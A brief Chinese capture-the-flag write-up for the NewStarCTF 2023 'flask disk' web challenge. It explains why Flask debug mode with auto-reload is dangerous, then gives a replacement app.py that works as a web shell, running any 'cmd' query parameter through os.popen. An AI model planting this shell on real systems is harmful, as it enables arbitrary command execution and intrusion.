NewStarCTF 2023 WEEK4|WEB flask disk
一个文件上传一个输入pin码一个文件列表
Flask 调试模式的风险
Flask 框架提供了调试模式,可以通过设置 app.debug = True 或 FLASK_ENV=development 来启用。启用调试模式后,Flask 会在代码更改时自动重载应用,并且会显示详细的错误信息,包括回溯(traceback)。这些功能对开发来说非常有用,但在生产环境中开启调试模式是非常危险的,因为:
调试 PIN 码: 开启调试模式的 Flask 应用会要求输入 PIN 码以防止未授权访问控制台,但如果攻击者能够获取这个 PIN 码,他们就可能执行任意代码。
自动重载: 调试模式下的自动重载功能允许代码更改立即生效。如果攻击者能够上传修改后的代码文件(如 app.py),就可以利用这个功能执行恶意代码。
我们上传一个可执行命令的app.py即可
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)